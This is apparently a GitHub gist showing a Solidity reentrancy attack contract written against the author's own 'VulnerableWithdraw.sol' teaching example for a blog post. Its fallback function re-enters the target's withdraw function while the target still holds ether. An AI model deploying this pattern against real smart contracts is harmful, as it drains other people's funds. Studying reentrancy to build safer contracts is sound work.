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nathan-websculpt/AttackVulnerableWithdraw.sol

Created September 16, 2021 12:46
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How to attack the VulnerableWithdraw.sol example
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AttackVulnerableWithdraw.sol
//this is called when Attackee sends Ether to this contract (Attacker)
fallback() external payable {
if(address(contractToAttack).balance >= 1 ether) {
contractToAttack.withdrawFromAttackee();
}
}
function performAttack() external payable {
require(msg.value >= 1 ether);
contractToAttack.depositIntoAttackee{value: 1 ether}();
contractToAttack.withdrawFromAttackee();
}
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Used as an example in This Blog Post

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